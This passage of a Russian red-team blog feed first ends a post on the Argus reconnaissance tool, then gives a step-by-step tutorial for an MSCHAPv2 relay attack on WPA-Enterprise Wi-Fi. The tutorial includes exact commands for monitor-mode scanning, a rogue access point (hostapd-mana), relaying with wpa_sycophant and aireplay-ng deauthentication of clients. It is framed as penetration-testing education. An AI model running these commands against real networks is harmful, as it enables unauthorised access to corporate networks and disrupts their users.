    &lt;li id=&quot;Nl88&quot;&gt;Разведка с помощью &lt;code&gt;Shodan&lt;/code&gt;: Использование &lt;code&gt;Shodan&lt;/code&gt; для обнаружения открытых портов, сервисов и уязвимостей.&lt;/li&gt;
    &lt;li id=&quot;XAbm&quot;&gt;Отчёт &lt;code&gt;SSL Labs&lt;/code&gt;: Получение детализированной оценки &lt;code&gt;SSL/TLS&lt;/code&gt; с помощью &lt;code&gt;SSL Labs&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;aKAn&quot;&gt;Проверка пиннинга &lt;code&gt;SSL&lt;/code&gt;: Проверка реализации &lt;code&gt;SSL&lt;/code&gt;-пиннинга на сайте.&lt;/li&gt;
    &lt;li id=&quot;ODo4&quot;&gt;Перечень поддоменов: Обнаружение поддоменов целевого домена.&lt;/li&gt;
    &lt;li id=&quot;SRqC&quot;&gt;Уязвимость захвата поддоменов: Тестирование поддоменов на уязвимость к захвату.&lt;/li&gt;
    &lt;li id=&quot;yvPJ&quot;&gt;Сканирование &lt;code&gt;VirusTotal&lt;/code&gt;: Проверка репутации цели с помощью &lt;code&gt;VirusTotal&lt;/code&gt;.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;8KVL&quot;&gt;Как использовать Argus&lt;/h2&gt;
  &lt;/section&gt;
  &lt;ol id=&quot;hhZd&quot;&gt;
    &lt;li id=&quot;4i6j&quot;&gt;Запустите &lt;code&gt;Argus&lt;/code&gt; через командную строку.&lt;/li&gt;
    &lt;li id=&quot;pGSF&quot;&gt;Выберите номер инструмента из главного меню.&lt;/li&gt;
    &lt;li id=&quot;p8BF&quot;&gt;Следуйте подсказкам для ввода необходимых данных.&lt;/li&gt;
    &lt;li id=&quot;LXGA&quot;&gt;Изучите результаты и при необходимости скорректируйте стратегию.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;zzxF&quot;&gt;Демонстрация применения&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;qWr6&quot;&gt;Запустим &lt;code&gt;Argus&lt;/code&gt; на сбор электронных почт:&lt;/p&gt;
  &lt;figure id=&quot;yGPV&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f3/c4/f3c49fc9-c44f-4b5e-977c-b1de208c194a.png&quot; width=&quot;556&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;QC8H&quot;&gt;Программа вывела нам следующее:&lt;/p&gt;
  &lt;figure id=&quot;91mT&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/48/e3/48e3b2ae-22f4-4395-8d01-a8fa4342ce39.png&quot; width=&quot;1014&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;YqYQ&quot;&gt;Использование Argus для получения информации о сервере:&lt;/p&gt;
  &lt;figure id=&quot;Cs3A&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/38/b8/38b83daa-a93a-4396-b86d-4de87ea8a727.png&quot; width=&quot;895&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yYhv&quot;&gt;Продемонстриурем обнаружение заголовков безопасности &lt;code&gt;HTTP&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;YtZG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f9/be/f9beb4e0-e5ea-479d-b8b8-722a1c2fa7c7.png&quot; width=&quot;1889&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;MUiL&quot;&gt;Работа модуля &lt;code&gt;Archive History&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;CqVa&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b9/e6/b9e61b57-1920-4dd5-941a-69b3d5301b54.png&quot; width=&quot;1010&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;c9h5&quot;&gt;Работа модуля &lt;code&gt;Sitemap Parsing&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;Ykyi&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/12/de/12debbd8-7cbd-417d-8991-8c6ce9dbab5e.png&quot; width=&quot;1886&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zeoC&quot;&gt;Если необходимо выявить присутствие цели в социальных сетях, то можно использовать модуль &lt;code&gt;Social Media Presence Scan&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;vRRv&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/40/17/4017ec2e-90b3-4261-a8ee-45246fcb2807.png&quot; width=&quot;710&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;hgsv&quot;&gt;Работа модуля &lt;code&gt;Pastebin Monitoring&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;4lLK&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9e/c5/9ec56514-1a4a-42a7-8db7-672eed5227ab.png&quot; width=&quot;1048&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;HMtk&quot;&gt;С помощью &lt;code&gt;Argus&lt;/code&gt;’a можно проверить ресурс на возможные утечки данных:&lt;/p&gt;
  &lt;figure id=&quot;6MQ1&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/45/e0/45e094f5-b43e-43a8-b682-797007c70436.png&quot; width=&quot;847&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DDK1&quot;&gt;Инструмент можно использовать также для обнаружения поддоменов:&lt;/p&gt;
  &lt;figure id=&quot;HqLi&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3c/43/3c43fa2e-f4ca-4a65-b484-a1c10ea5d846.png&quot; width=&quot;650&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;c7yM&quot;&gt;Заключение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;HUP2&quot;&gt;В заключение, &lt;code&gt;Argus&lt;/code&gt; представляет собой мощный и универсальный инструмент для специалистов в области информационной безопасности и анализа инфраструктуры. Сочетая в себе простоту использования и богатый функционал, &lt;code&gt;Argus&lt;/code&gt; существенно упрощает задачи по сбору данных, анализу безопасности и оценке структуры сетей и веб-приложений.&lt;/p&gt;
  &lt;p id=&quot;Q0tV&quot;&gt;С &lt;code&gt;Argus&lt;/code&gt; пользователи получают возможность работать с обширным спектром данных в одном месте, что делает процесс оценки безопасности более оперативным и удобным. При соблюдении этических норм и получении соответствующих разрешений, Argus становится незаменимым помощником для тех, кто стремится к глубокому пониманию безопасности и устойчивости сетевых ресурсов.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:wpa_enterprise_eap_relay_attack</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/wpa_enterprise_eap_relay_attack?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>Часть 3. Тестируем безопасность WPA-Enterprise: EAP (MSCHAPv2) Relay attack</title><published>2024-10-16T14:39:12.879Z</published><updated>2024-10-16T14:47:22.779Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/bd/13/bd13b1c8-f948-466b-b0ca-185acc253f91.png"></media:thumbnail><category term="pentest" label="Pentest"></category><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/6f/f0/6ff0cb06-94cc-4c9a-b5cc-7ab1e189c4cc.jpeg&quot;&gt;В прошлой статье по WPA-Enterprise мы рассмотрели атаку Downgrade и в последнем примере смогли получить лишь хэш пароля. Предположим, что парольная политика тестируемой организации на высоком уровне, а это значит, что брут хэша займет неоправданно много времени и может вовсе не увенчаться успехом. Это конец? На самом деле нет, если в сетях WPA-Enterprise организации для аутентификации клиента используется метод MSCHAPv2 (что является очень частой ситуацией). В этом случае мы можем попробовать провести ретрансляционную атаку.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;DDt1&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;yaL3&quot;&gt;В прошлой статье по &lt;code&gt;WPA-Enterprise&lt;/code&gt; мы рассмотрели атаку &lt;code&gt;Downgrade&lt;/code&gt; и в последнем примере смогли получить лишь хэш пароля. Предположим, что парольная политика тестируемой организации на высоком уровне, а это значит, что брут хэша займет неоправданно много времени и может вовсе не увенчаться успехом. Это конец? На самом деле нет, если в сетях &lt;code&gt;WPA-Enterprise&lt;/code&gt; организации для аутентификации клиента используется метод &lt;code&gt;MSCHAPv2&lt;/code&gt; (что является очень частой ситуацией). В этом случае мы можем попробовать провести ретрансляционную атаку. &lt;/p&gt;
  &lt;blockquote id=&quot;4pq5&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;82m9&quot;&gt;Чуть-чуть теории&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;pJJz&quot;&gt;В целом, &lt;strong&gt;ретрансляционная атака&lt;/strong&gt; — это когда вы выступаете посредником в попытке аутентификации (обычно запрос-ответ &lt;code&gt;NetNTLM&lt;/code&gt;) между двумя сторонами. Сделав это, вы можете перехватить полученную успешную аутентификацию и получить привилегированный доступ к чему-либо. &lt;/p&gt;
  &lt;figure id=&quot;VbfB&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/r/w1560/getpro/habr/upload_files/984/bce/1b6/984bce1b61b6302ba820be6fb5a1ceee.png&quot; width=&quot;513&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;VVUu&quot;&gt;Однако мы собираемся провести ее с помощью &lt;code&gt;MSCHAPv2&lt;/code&gt; и &lt;code&gt;Wi-Fi&lt;/code&gt; вместо &lt;code&gt;NTLM&lt;/code&gt; и &lt;code&gt;TCP/IP&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;fmBi&quot;&gt;Суть &lt;code&gt;EAP&lt;/code&gt; (&lt;code&gt;MSCHAPv2&lt;/code&gt;) Relay атаки заключается в том, что злоумышленник перехватывает challenge-response (вызов-ответ) клиента к оригинальной точке доступа и затем передает ответ серверу аутентификации от имени аутентифицирующего пользователя. Сервер не видит разницы между законным клиентом и клиентом злоумышленника. После проверки данных сервер отправляет разрешение на подключение, которое снова получает злоумышленник вместо легитимного пользователя и по итогу получает доступ к корпоративной сети. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;rEHA&quot;&gt;Подготовка к атаке&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;RXCS&quot;&gt;Есть несколько предварительных условий для выполнения &lt;code&gt;ретрансляционной атаки&lt;/code&gt;. Сначала нам нужно иметь возможность заставить жертву аутентифицироваться на нашем устройстве, а не на легитимном. В мире &lt;code&gt;NTLM&lt;/code&gt; для этого используется &lt;code&gt;Responder&lt;/code&gt;, который отвечает &lt;code&gt;Windows&lt;/code&gt; запросами &lt;code&gt;LLMNR&lt;/code&gt;, утверждающими, что они идут от легитимного сервера. Этот обманчивый ответ аналогичен тому, что делает &lt;code&gt;hostapd-mana&lt;/code&gt; (далее – просто &lt;code&gt;mana&lt;/code&gt;, ссылка: &lt;a href=&quot;https://github.com/sensepost/hostapd-mana&quot; target=&quot;_blank&quot;&gt;https://github.com/sensepost/hostapd-mana&lt;/a&gt;), за исключением того, что в пространстве &lt;code&gt;Wi-Fi&lt;/code&gt; устройства-жертвы проверяют сети, отправляя зонды, а mana принимает эти зонды и сообщает устройствам, что это именно та точка доступа, которую они ищут, после чего устройства попытаются пройти аутентификацию на хосте с запущенной &lt;code&gt;mana&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;zu90&quot;&gt;Второй этап &lt;code&gt;ретрансляционной атаки&lt;/code&gt; — это собственно ретрансляция. Это означает попытку аутентификации, которая предпринимается на нашей мошеннической точки доступа, и передачу ее туда, где вы действительно хотите пройти аутентификацию. Для этого мы будем использовать утилиту &lt;code&gt;wpa_sycophant&lt;/code&gt; (далее – просто &lt;code&gt;sycophant&lt;/code&gt;, ссылка: &lt;a href=&quot;https://github.com/sensepost/wpa_sycophant&quot; target=&quot;_blank&quot;&gt;https://github.com/sensepost/wpa_sycophant&lt;/a&gt;). &lt;code&gt;Sycophant&lt;/code&gt; и &lt;code&gt;mana&lt;/code&gt; синхронизируют состояние и передают информацию между собой с помощью файлов. После запуска &lt;code&gt;sycophant&lt;/code&gt; будет ждать, пока жертва начнет аутентифицироваться на хосте с запущенной mana. После того, как жертва связалась с mana и прошла внешнюю аутентификацию (т. е. &lt;code&gt;TLS&lt;/code&gt;-часть &lt;code&gt;PEAP&lt;/code&gt;), &lt;code&gt;sycophant&lt;/code&gt; связывается с законной точкой доступа, согласовывает внешнюю аутентификацию, затем извлекает информацию из &lt;code&gt;mana&lt;/code&gt; и дословно передает ее точке доступа для внутренней аутентификации. Если все это работает, законный &lt;code&gt;RADIUS&lt;/code&gt;-сервер возвращает успешную аутентификацию и позволяет &lt;code&gt;sycophant&lt;/code&gt; связаться с целевой легитимной точкой доступа.&lt;/p&gt;
  &lt;p id=&quot;hGTg&quot;&gt;Также для данной атаки потребуется как минимум 2 беспроводных интерфейса (причем физических), а лучше 3: &lt;/p&gt;
  &lt;ul id=&quot;9obf&quot;&gt;
    &lt;li id=&quot;7Tyk&quot;&gt;1-й для несанкционированной точки доступа и работы &lt;code&gt;mana&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;HGj3&quot;&gt;2-й для настройки &lt;code&gt;sycophant&lt;/code&gt;; &lt;/li&gt;
    &lt;li id=&quot;on04&quot;&gt;3-й для мониторинга и отправки пакетов деаутентификации. 3-им интерфейсом можно пренебречь и выполнить мониторинг перед основной атакой, но тогда вы не сможете проводить деаутентификацию клиентов и придется ждать их повторного подключения без вашего участия. &lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;FUlu&quot;&gt;Практика&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;UjQo&quot;&gt;Итак, мы установили необходимые инструменты и раздобыли 3 сетевых интерфейса: 1 встроенный в ноутбук и 2 за счет внешних &lt;code&gt;Wi-Fi&lt;/code&gt;-адаптеров.&lt;/p&gt;
  &lt;p id=&quot;tn6i&quot;&gt;Распределим интерфейсы следующим образом:&lt;/p&gt;
  &lt;ul id=&quot;hvXr&quot;&gt;
    &lt;li id=&quot;AUa9&quot;&gt;&lt;code&gt;wlan0&lt;/code&gt; для &lt;code&gt;mana&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;A7rR&quot;&gt;&lt;code&gt;wlan1&lt;/code&gt; для &lt;code&gt;sycophant&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;v32t&quot;&gt;&lt;code&gt;wlan2&lt;/code&gt; для мониторинга и деаутентификации клиентов.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;uaeR&quot;&gt;Процесс организации атаки выглядит следующим образом: &lt;/p&gt;
  &lt;ul id=&quot;09XT&quot;&gt;
    &lt;li id=&quot;Tg86&quot;&gt;Установка беспроводной сетевой карты в режим мониторинга.&lt;/li&gt;
    &lt;li id=&quot;su3L&quot;&gt;Идентификация цели — сканирование сети и поиск клиентов, использующих целевую сеть.&lt;/li&gt;
    &lt;li id=&quot;cdB9&quot;&gt;Создание поддельной точки доступа и запуск &lt;code&gt;mana&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;cNk4&quot;&gt;Запуск &lt;code&gt;sycophant&lt;/code&gt; для проведения ретрансляции.&lt;/li&gt;
    &lt;li id=&quot;FuyT&quot;&gt;[&lt;strong&gt;Опционально&lt;/strong&gt;] деаутентификация клиента от легитимной точки доступа.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;1vpT&quot;&gt;Итак, устанавливаем наш &lt;code&gt;Wi-Fi&lt;/code&gt;-адаптер в режим мониторинга:&lt;/p&gt;
  &lt;pre id=&quot;3GU1&quot;&gt;sudo iw dev wlan2 set monitor none&lt;/pre&gt;
  &lt;p id=&quot;l1AY&quot;&gt;Запускаем сканирование эфира в поисках интересующей нас сети (в нашем примере это сеть &lt;code&gt;Guest&lt;/code&gt;) и нахождения ее точек доступа:&lt;/p&gt;
  &lt;pre id=&quot;FJjM&quot;&gt;sudo airodump-ng wlan2 --essid Guest&lt;/pre&gt;
  &lt;p id=&quot;F0sq&quot;&gt;Затем подготавливаем файл &lt;code&gt;ap.conf&lt;/code&gt; для &lt;code&gt;mana&lt;/code&gt;: указываем &lt;code&gt;essid&lt;/code&gt; целевой точки доступа (&lt;code&gt;ssid&lt;/code&gt;), канал, на котором будет поднята наша точка доступа (&lt;code&gt;channel&lt;/code&gt;), а также указываем выделенный для &lt;code&gt;mana&lt;/code&gt; сетевой интерфейс &lt;code&gt;wlan0&lt;/code&gt; (&lt;code&gt;interface&lt;/code&gt;). Интерфейс &lt;code&gt;wlan0&lt;/code&gt; должен иметь выход в интернет. Также указываем пути до сертификатов: можно воспользоваться сертификатами, предоставленными самой утилитой. В итоге наш файл &lt;code&gt;ap.conf&lt;/code&gt; должен выглядеть примерно так:&lt;/p&gt;
  &lt;figure id=&quot;huFN&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/r/w1560/getpro/habr/upload_files/72f/19a/afb/72f19aafb64f29b5316e16072ab20f13.png&quot; width=&quot;428&quot; /&gt;
  &lt;/figure&gt;
  &lt;blockquote id=&quot;TiAI&quot;&gt;&lt;strong&gt;Важно&lt;/strong&gt;: данный файл должен располагаться в каталоге с папкой certs, в которой размещены сертификаты.&lt;/blockquote&gt;
  &lt;p id=&quot;FdAF&quot;&gt;Теперь создаем новый файл с тем же именем, что указано в переменной &lt;code&gt;eap_user_file&lt;/code&gt; (в нашем случае – это файл &lt;code&gt;hostapd.eap_user&lt;/code&gt;), и помещаем его в тот же каталог, что и &lt;code&gt;ap.conf&lt;/code&gt;. Благодаря этому любой пользователь теперь может подключиться к нашей фейковой сети.&lt;/p&gt;
  &lt;p id=&quot;aW5z&quot;&gt;Файл &lt;code&gt;hostapd.eap_user&lt;/code&gt; должен выглядеть так:&lt;/p&gt;
  &lt;figure id=&quot;BOZ2&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/r/w1560/getpro/habr/upload_files/d50/029/c26/d50029c2670a49c5c865ae5e66e25e18.png&quot; width=&quot;624&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;FgUN&quot;&gt;Можем запускать &lt;code&gt;mana&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;MAQx&quot;&gt;sudo hostapd-mana /etc/hostapd-mana/ap.conf&lt;/pre&gt;
  &lt;figure id=&quot;yHXY&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/r/w1560/getpro/habr/upload_files/37e/655/35d/37e65535de4384c6b46208e8155fedac.png&quot; width=&quot;382&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;lgft&quot;&gt;Далее мы должны настроить файл &lt;code&gt;wpa_sycophant.config&lt;/code&gt; в каталоге &lt;code&gt;wpa_sycophant&lt;/code&gt;: указать &lt;code&gt;ssid&lt;/code&gt; и записать в поле &lt;code&gt;bssid_blacklist&lt;/code&gt; mac адрес, который был назначен &lt;code&gt;wlan0&lt;/code&gt; после запуска &lt;code&gt;mana&lt;/code&gt; (в нашем случае это &lt;code&gt;2c:3b:70:84:f4:fe&lt;/code&gt;). Это нужно для того, чтобы предотвратить непреднамеренное подключение клиента к созданной нами фейковой точке доступа.&lt;/p&gt;
  &lt;figure id=&quot;ZilO&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/r/w1560/getpro/habr/upload_files/64a/7a9/f71/64a7a9f71baa13b438693f3e507387a4.png&quot; width=&quot;624&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;sPFY&quot;&gt;Теперь можем запускать &lt;code&gt;sycophant&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;gXSr&quot;&gt;sudo /etc/wpa_sycophant/wpa_sycophant.sh -c wpa_sycophant.config -i wlan1&lt;/pre&gt;
  &lt;blockquote id=&quot;WQLX&quot;&gt;&lt;strong&gt;Примечание&lt;/strong&gt;: возможно для работы sycophant потребуется установить libssl1.0.0&lt;/blockquote&gt;
  &lt;p id=&quot;BsnZ&quot;&gt;[Опционально] Клиент должен быть отключен от легитимной сети, чтобы установить соединение с нашей несанкционированной точкой доступа. Это можно сделать, запустив атаку деаутентификации: &lt;/p&gt;
  &lt;pre id=&quot;KawR&quot;&gt;aireplay-ng -0 4 -a &amp;lt;target BSSID&amp;gt; -c &amp;lt;target client MAC&amp;gt; wlan2&lt;/pre&gt;
  &lt;p id=&quot;HCDy&quot;&gt;Атака началась.&lt;/p&gt;
  &lt;p id=&quot;3DKK&quot;&gt;Немного подождем и в случае успеха увидим, что клиент отправляет ответ точке доступа в выходных данных &lt;code&gt;mana&lt;/code&gt;. &lt;code&gt;Mana&lt;/code&gt;, помимо приема данных от клиента, также дает команды для подбора ответа, чтобы получить пароль, но это не сработает, поскольку в данном случае пароль невероятно надежный, и у нас нет для него подходящего вордлиста.&lt;/p&gt;
  &lt;figure id=&quot;jExo&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/r/w1560/getpro/habr/upload_files/7f2/d31/a8a/7f2d31a8a2ff93f4a627b319d7dd162c.png&quot; width=&quot;624&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;VHb4&quot;&gt;&lt;code&gt;Sycophant&lt;/code&gt; берет ответ, идентификацию и другую информацию из каталога &lt;code&gt;/tmp/&lt;/code&gt; (мы оставили этот параметр в файле &lt;code&gt;ap.conf&lt;/code&gt; без изменений), отправленную &lt;code&gt;mana&lt;/code&gt; (для взаимодействия между процессами через файл), и передает ее в легитимную сеть.&lt;/p&gt;
  &lt;figure id=&quot;qqAI&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/r/w1560/getpro/habr/upload_files/9e8/77d/95e/9e877d95ebe48dcbea510958bdb87540.png&quot; width=&quot;624&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;62MV&quot;&gt;Также &lt;code&gt;sycophant&lt;/code&gt; автоматически запрашивает &lt;code&gt;IPv4&lt;/code&gt; для нашей точки доступа.&lt;/p&gt;
  &lt;p id=&quot;EEm2&quot;&gt;В результате на интерфейсе &lt;code&gt;wlan1&lt;/code&gt; мы видим подключение к сети &lt;code&gt;Guest&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;qS5U&quot;&gt;До атаки:&lt;/p&gt;
  &lt;figure id=&quot;5d2M&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/r/w1560/getpro/habr/upload_files/bb6/668/8e6/bb66688e60763a9a58d6b413a75610b5.png&quot; width=&quot;548&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;kw3D&quot;&gt;После атаки:&lt;/p&gt;
  &lt;figure id=&quot;Dfgj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/r/w1560/getpro/habr/upload_files/eb5/fec/357/eb5fec357a7cec315bc77749bb04c988.png&quot; width=&quot;548&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DYIS&quot;&gt;До атаки:&lt;/p&gt;
  &lt;figure id=&quot;cuyQ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/r/w1560/getpro/habr/upload_files/344/8ae/ba0/3448aeba019fabed375cbae31222cd0c.png&quot; width=&quot;624&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;UA8H&quot;&gt;После атаки:&lt;/p&gt;
  &lt;figure id=&quot;dmI9&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/r/w1560/getpro/habr/upload_files/91c/7af/8a5/91c7af8a5fe02f66625d9bbf52fb2db1.png&quot; width=&quot;623&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DyVo&quot;&gt;Таким образом, если вы сможете пройти аутентификацию на сервере &lt;code&gt;RADIUS&lt;/code&gt;, вы сможете подключиться к точке доступа и получить доступ к внутренней сети организации.&lt;/p&gt;
  &lt;p id=&quot;kSqn&quot;&gt;Давайте убедимся, что мы имеем доступ к «внутрянке» и немного посканим сеть &lt;code&gt;Guest&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;qhgz&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/r/w1560/getpro/habr/upload_files/2a5/da3/07b/2a5da307b78aa72b3feba53938d8434e.png&quot; width=&quot;623&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tJ1E&quot;&gt;Теперь можно приступать к пентесту инфраструктуры. Впрочем, это уже совсем другая история.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;vaXu&quot;&gt;Заключение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;wEvV&quot;&gt;В данной статье рассмотрены не все аспекты тестирования корпоративных беспроводных статей. Надеюсь, что вы смогли найти для себя что-то новое и интересное и рассмотренный материал поможет вам в вашей работе.&lt;/p&gt;
  &lt;p id=&quot;G2s1&quot;&gt;&lt;strong&gt;И помните&lt;/strong&gt;: вся представленная в статье информация приводится исключительно в ознакомительных целях&lt;em&gt;. &lt;/em&gt;Перед использованием приведенной информации настоятельно рекомендуется ознакомиться со статьей &lt;code&gt;272 УК РФ&lt;/code&gt;.&lt;/p&gt;

</content></entry></feed>